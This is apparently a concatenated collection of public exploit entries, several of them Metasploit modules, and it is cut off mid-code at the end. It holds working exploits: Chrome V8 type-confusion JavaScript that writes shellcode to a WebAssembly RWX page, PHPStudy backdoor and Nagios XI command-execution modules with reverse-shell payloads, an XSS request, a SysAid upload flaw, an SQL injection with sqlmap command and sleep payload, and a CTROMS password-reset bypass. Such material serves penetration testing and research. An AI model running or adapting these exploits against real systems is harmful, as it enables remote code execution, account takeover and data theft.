float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
float_carw = [6.6];
uint64_aarw = new BigUint64Array(4);
obj_leaker = {
a: float_rel,
b: float_rel,
};
return Object.prototype;
}
});
function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}
// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
var qw_offset = Math.floor(offset / 2);
if (offset & 1 == 1) {
return float_rel[qw_offset].fhw();
} else {
return float_rel[qw_offset].flw();
}
}
// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
var qw_offset = Math.floor(offset / 2);
// we are writing an 8-byte double under the hood
// read out the other half and keep its value
if (offset & 1 == 1) {
temp = float_rel[qw_offset].flw();
new_val = (val << 32n | temp).i2f();
float_rel[qw_offset] = new_val;
} else {
temp = float_rel[qw_offset].fhw();
new_val = (temp << 32n | val).i2f();
float_rel[qw_offset] = new_val;
}
}
const float_carw_elements_offset = 0x14;
function cabs_read4(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read4: ' + hex(float_carw[0].f2i()));
res = float_carw[0].flw();
// TODO restore elements ptr
return res;
}
// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read8: ' + hex(float_carw[0].f2i()));
res = float_carw[0].f2i();
// TODO restore elements ptr
return res;
}
// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
elements_addr = caddr - 8n | 1n;
temp = cabs_read4(caddr + 4n | 1n);
print('cabs_write4 temp: '+ hex(temp));
new_val = (temp << 32n | val).i2f();
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));
float_carw[0] = new_val;
// TODO restore elements ptr
return res;
}
const objleaker_offset = 0x41;
function addrof(o) {
obj_leaker.b = o;
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
obj_leaker.b = {};
return addr;
}
const uint64_externalptr_offset = 0x1b; // in 8-bytes
// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
val = uint64_aarw[0];
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}
// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
uint64_aarw[0] = val;
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}
// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset - 1] = 10;
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
for (var i = 0; i < sc.length; ++i) {
uint64_aarw[i] = sc[i]
}
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
}
function get_compressed_rw() {
for (var i = 0; i < 0x10000; ++i) {empty();}
main(empty);
main(empty);
// Function would be jit compiled now.
main(p);
print(`Corrupted length of float_rel array = ${float_rel.length}`);
}
function get_arw() {
get_compressed_rw();
print('should be 0x2: ' + hex(crel_read4(0x15)));
let previous_elements = crel_read4(0x14);
//print(hex(previous_elements));
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
cabs_write4(previous_elements, 0x66554433n);
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
print('addrof(float_rel): ' + hex(addrof(float_rel)));
uint64_aarw[0] = 0x4142434445464748n;
}
function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}
let wasm_func = get_wasm_func();
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func);
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
print('sfi: ' + hex(sfi));
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));
let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
print('instance: ' + hex(instance));
let wasm_rwx_addr = cabs_read8(instance + 0x68n);
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));
// write the shellcode to the RWX page
while(shellcode.length % 4 != 0){
shellcode += "\u9090";
}
let sc = [];
// convert the shellcode to BigInt
for (let i = 0; i < shellcode.length; i += 4) {
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
}
writeShellcode(wasm_rwx_addr,sc);
print('success');
wasm_func();
}
function exp() {
get_arw();
rce();
}
exp();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
'Description' => %q{
This modules exploits a type confusion in Google Chromes JIT compiler.
The Object.create operation can be used to cause a type confusion between a
PropertyArray and a NameDictionary.
The payload is executed within the rwx region of the sandboxed renderer
process, so the browser must be run with the --no-sandbox option for the
payload to work.
},
'License' => MSF_LICENSE,
'Author' => [
'saelo', # discovery and exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2018-17463'],
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows', 'osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Sep 25 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] " + request.body)
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
jscript = %Q^
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);
let ab = new ArrayBuffer(8);
let floatView = new Float64Array(ab);
let uint64View = new BigUint64Array(ab);
let uint8View = new Uint8Array(ab);
Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};
BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};
function hex(n) {
return '0x' + n.toString(16);
};
function fail(s) {
print('FAIL ' + s);
throw null;
}
const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;
function gc() {
for (let i = 0; i < 200; i++) {
new ArrayBuffer(0x100000);
}
}
function make(properties) {
let o = {inline: 42} // TODO
for (let i = 0; i < NUM_PROPERTIES; i++) {
eval(`o.p${i} = properties[${i}];`);
}
return o;
}
function pwn() {
function find_overlapping_properties() {
let propertyNames = [];
for (let i = 0; i < NUM_PROPERTIES; i++) {
propertyNames[i] = `p${i}`;
}
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
return [${propertyNames.join(', ')}];
}
`);
let propertyValues = [];
for (let i = 1; i < NUM_PROPERTIES; i++) {
propertyValues[i] = -i;
}
for (let i = 0; i < MAX_ITERATIONS; i++) {
let r = vuln(make(propertyValues));
if (r[1] !== -1) {
for (let i = 1; i < r.length; i++) {
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
return [i, -r[i]];
}
}
}
}
fail("Failed to find overlapping properties");
}
function addrof(obj) {
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
return o.p${p1}.x1;
}
`);
let propertyValues = [];
propertyValues[p1] = {x1: 13.37, x2: 13.38};
propertyValues[p2] = {y1: obj};
let i = 0;
for (; i < MAX_ITERATIONS; i++) {
let res = vuln(make(propertyValues));
if (res !== 13.37)
return res.toBigInt()
}
fail("Addrof failed");
}
function corrupt_arraybuffer(victim, newValue) {
eval(`
function vuln(o) {
let a = o.inline;
this.Object.create(o);
let orig = o.p${p1}.x2;
o.p${p1}.x2 = ${newValue.toNumber()};
return orig;
}
`);
let propertyValues = [];
let o = {x1: 13.37, x2: 13.38};
propertyValues[p1] = o;
propertyValues[p2] = victim;
for (let i = 0; i < MAX_ITERATIONS; i++) {
o.x2 = 13.38;
let r = vuln(make(propertyValues));
if (r !== 13.38)
return r.toBigInt();
}
fail("Corrupt ArrayBuffer failed");
}
let [p1, p2] = find_overlapping_properties();
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);
let memview_buf = new ArrayBuffer(1024);
let driver_buf = new ArrayBuffer(1024);
gc();
let memview_buf_addr = addrof(memview_buf);
memview_buf_addr--;
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);
let driver = new BigUint64Array(driver_buf);
let original_memview_buf_ptr = driver[4];
let memory = {
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memview_buf);
memview.set(bytes);
},
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memview_buf);
return memview.subarray(0, len);
},
readPtr(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memview_buf);
return memview[0];
},
writePtr(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memview_buf);
memview[0] = ptr;
},
addrof(obj) {
memview_buf.leakMe = obj;
let props = this.readPtr(memview_buf_addr + 8n);
return this.readPtr(props + 15n) - 1n;
},
};
// Generate a RWX region for the payload
function get_wasm_instance() {
var buffer = new Uint8Array([
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
]);
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
}
let wasm_instance = get_wasm_instance();
let wasm_addr = memory.addrof(wasm_instance);
print("wasm_addr @ " + hex(wasm_addr));
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
print("wasm_rwx @ " + hex(wasm_rwx_addr));
memory.write(wasm_rwx_addr, shellcode);
let fake_vtab = new ArrayBuffer(0x80);
let fake_vtab_u64 = new BigUint64Array(fake_vtab);
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);
let div = document.createElement('div');
let div_addr = memory.addrof(div);
print('div_addr @ ' + hex(div_addr));
let el_addr = memory.readPtr(div_addr + 0x20n);
print('el_addr @ ' + hex(div_addr));
fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
memory.writePtr(el_addr, fake_vtab_addr);
print('Triggering...');
// Trigger virtual call
div.dispatchEvent(new Event('click'));
// We are done here, repair the corrupted array buffers
let addr = memory.addrof(driver_buf);
memory.writePtr(addr + 32n, original_driver_buf_ptr);
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
}
pwn();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end
end
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: En
# Vendor Homepage: https://github.com/yzmcms/yzmcms
# Software Link: https://github.com/yzmcms/yzmcms
# Version: V5.5
# Category: Web Application
# Patched Version: unpatched
# Tested on: Win10x64
# Platform: PHP
# CVE : N/A
#Exploit Author: En_dust
#Description:
#The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed.
#PoC:
POST /yzmcms/link/link/add.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/yzmcms/link/link/add.html
Content-Length: 130
Cookie: CNZZDATA1261218610=2106045875-1559549499-%7C1569374982; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw
DNT: 1
Connection: close
name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1
# Exploit Title: Sysaid 20.1.11 b26 - Remote Command Execution
# Google Dork: intext:"Help Desk Software by SysAid <http://www.sysaid.com/>"
# Date: 2020-03-09
# Exploit Author: Ahmed Sherif
# Vendor Homepage: https://www.sysaid.com/free-help-desk-software
# Software Link: [https://www.sysaid.com/free-help-desk-software
# Version: Sysaid v20.1.11 b26
# Tested on: Windows Server 2016
# CVE : None
GhostCat Attack
The default
installation of Sysaid is enabling the exposure of AJP13 protocol which is used
by tomcat instance, this vulnerability has been released recently on
different blogposts
<https://www.zdnet.com/article/ghostcat-bug-impacts-all-apache-tomcat-versions-released-in-the-last-13-years/>.
*Proof-of-Concept*
[image: image.png]
The
attacker would be able to exploit the vulnerability and read the Web.XML of
Sysaid.
Unauthenticated File Upload
It was
found on the Sysaid application that an attacker would be able to upload files
without authenticated by directly access the below link:
http://REDACTED:8080/UploadIcon.jsp?uploadChatFile=true&parent=
In the above screenshot, it shows that an attacker can execute commands
in the system without any prior authentication to the system.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "PHPStudy Backdoor Remote Code execution",
'Description' => %q{
This module can detect and exploit the backdoor of PHPStudy.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dimensional', #POC
'Airevan' #Metasploit Module
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['PHPStudy 2016-2018', {}]
],
'References' =>
[
['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
],
'Privileged' => false,
'DisclosureDate' => "Sep 20 2019",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/'])
])
end
def check
uri = target_uri.path
fingerprint = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")
}
})
if res && res.code == 200 && res.body.to_s.include?(fingerprint)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
print_good("Sending shellcode")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)
}
})
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Authenticated Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in Nagios XI before 5.6.6 in
order to execute arbitrary commands as root.
The module uploads a malicious plugin to the Nagios XI server and then
executes this plugin by issuing an HTTP GET request to download a
system profile from the server. For all supported targets except Linux
(cmd), the module uses a command stager to write the exploit to the
target via the malicious plugin. This may not work if Nagios XI is
running in a restricted Unix environment, so in that case the target
must be set to Linux (cmd). The module then writes the payload to the
malicious plugin while avoiding commands that may not be supported.
Valid credentials for a user with administrative privileges are
required. This module was successfully tested on Nagios XI 5.6.5
running on CentOS 7. The module may behave differently against older
versions of Nagios XI. See the documentation for more information.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2019-15949'],
['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit
],
'Payload' => { 'BadChars' => "\x00" },
'Targets' =>
[
[ 'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
} ],
[ 'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
} ],
[ 'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
},
'Payload' => {
'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails
'BadChars' => "\""
}
} ]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 29 2019',
'DefaultOptions' => {
'RPORT' => 80,
'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request.
'WfsDelay' => 10
},
'DefaultTarget' => 1))
register_options [
OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
import_target_defaults
end
def check
vprint_status("Running check")
#visit Nagios XI login page to obtain the nsp value required for authentication
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php')
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 200 && res.body.include?('Nagios XI')
return CheckCode::Safe('Target is not a Nagios XI application.')
end
@nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''
if @nsp.to_s.eql? ''
return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.'
end
#Attempt to authenticate
@username = datastore['USERNAME']
password = datastore['PASSWORD']
cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon
auth_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
nsp: @nsp,
page: 'auth',
debug: '',
pageopt: 'login',
username: @username,
password: password,
loginButton: ''
}
})
unless auth_res
fail_with Failure::Unreachable, 'Connection failed'
end
unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php"
fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
end
#Check Nagios XI version - this requires a separate request because following the redirect doesn't work
@cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon
@cookie = @cookie.split().last #app returns 3 cookies, we need only the last one
version_check = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/index.php'),
'method' => 'GET',
'cookie' => @cookie,
'nsp' => @nsp
})
unless version_check
fail_with Failure::Unreachable, 'Connection failed'
end
unless version_check.code == 200 && version_check.body.include?('Home Dashboard')
fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
end
@version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue ''
if @version.to_s.eql? ''
return CheckCode::Detected('Could not determine Nagios XI version.')
end
@version = Gem::Version.new @version
unless @version <= Gem::Version.new('5.6.5')
return CheckCode::Safe("Target is Nagios XI with version #{@version}.")
end
CheckCode::Appears("Target is Nagios XI with version #{@version}.")
end
def check_plugin_permissions
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
'method' => 'GET',
'cookie' => @cookie,
'nsp' => @nsp
})
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.code == 200 && res.body.include?('Manage Plugins')
fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.")
end
@plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''
if @plugin_nsp.to_s.eql? ''
fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.'
end
@plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon
end
def execute_command(cmd, opts = {})
print_status("Uploading malicious 'check_ping' plugin...")
boundary = rand_text_numeric(14)
post_data = "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n"
post_data << "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n"
post_data << "#{@plugin_nsp}\n"
post_data << "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n"
post_data << "-----------------------------#{boundary}\n"
post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename
post_data << "Content-Type: text/plain\n\n"
post_data << "#{cmd}\n"
post_data << "-----------------------------#{boundary}--\n"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header
'cookie' => @plugin_cookie,
'data' => post_data
})
unless res
fail_with Failure::Unreachable, 'Upload failed'
end
unless res.code == 200 && res.body.include?('New plugin was installed successfully')
fail_with Failure::Unknown, 'Failed to upload plugin.'
end
@plugin_installed = true
end
def execute_payload #This request will timeout. It has to, for the exploit to work.
print_status("Executing plugin...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),
'method' => 'GET',
'cookie' => @cookie,
'vars_get' => { cmd: 'download' }
})
end
def cleanup()
return unless @plugin_installed
print_status("Deleting malicious 'check_ping' plugin...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
'method' => 'GET',
'cookie' => @plugin_cookie,
'vars_get' => {
delete: 'check_ping',
nsp: @plugin_nsp
}
})
unless res
print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
return
end
unless res.code == 200 && res.body.include?('Plugin deleted')
print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
return
end
print_good("Plugin deleted.")
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if @version
print_status("Found Nagios XI application with version #{@version}.")
end
check_plugin_permissions
vprint_status("User #{@username} has the required permissions on the target.")
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
message = "Waiting for the payload to connect back..."
else
execute_cmdstager(background: true)
message = "Waiting for the plugin to request the final payload..."
end
print_good("Successfully uploaded plugin.")
execute_payload
print_status "#{message}"
end
end
# Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection
# Data: 2020-03-09
# Exploit Author: S3FFR
# Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip
# Version: = 1.0 [Final Version]
# Tested on: Windows,Linux
# Google Dork: N/A
=======================
Vulnerable Page:
/cart_edit.php
=======================
Vulnerable Source:
89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'"));
71: $active = $_GET['active'];
======================
sqlmap:
sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs
=======================
Testing Method :
- time-based blind
Parameter: active (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth
========================
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CTROMS Terminal OS - Port Portal "Password Reset" Authentication Bypass' ,
'Description' => %q{
This module exploits an authentication bypass in CTROMS, triggered by password reset verification code disclosure.
In order to exploit this vulnerability, the username must be known.
Exploiting this vulnerability create a new password for the user you specified and present it to you.
The "verification code" and "cookie generate" functions required to reset the password contain vulnerability.
When the "userId" parameter is posted to "getverificationcode.jsp", a verification code is transmitted to the account's phone number for password reset.
But this verification code written in the database is also reflected in the response of the request.
The first vector would be to use this verification code.
The second vector is the "rand" cookie values returned in this request. These values are md5.
If these values are assigned in the response, password reset can be done via these cookie values.
Ex: [ Cookie: 6fb36ecf2a04b8550ba95603047fe85=fae0bKBGtKBKtKh.wKA.vLBmuLxmuM.; 34d1c350632806406ecc517050da0=b741baa96686a91d4461145e40a9c2df ]
},
'References' =>
[
[ 'CVE', '' ],
[ 'URL', 'https://www.pentest.com.tr/exploits/CTROMS-Terminal-OS-Port-Portal-Password-Reset-Authentication-Bypass.html' ],
[ 'URL', 'https://www.globalservices.bt.com' ]
],
'Author' =>
[
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
],
'License' => MSF_LICENSE,
'DisclosureDate' => "March 2 2020",
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'Username']),
OptString.new('PASSWORD', [true, 'Password for the reset', Rex::Text.rand_text_alphanumeric(12)])
])
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def check
begin
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'),
'headers' =>
{
'Referer' => "#{peer}/verification.jsp"
},
'data' => "userId=#{Rex::Text.rand_text_alphanumeric(8)}"
})
rescue
return Exploit::CheckCode::Unknown
end
if res.code == 200 and res.body.include? '"rand"'
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def run
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'getuserinfo.jsp'),
'headers' =>
{
'Referer' => "#{peer}/verification.jsp"
},
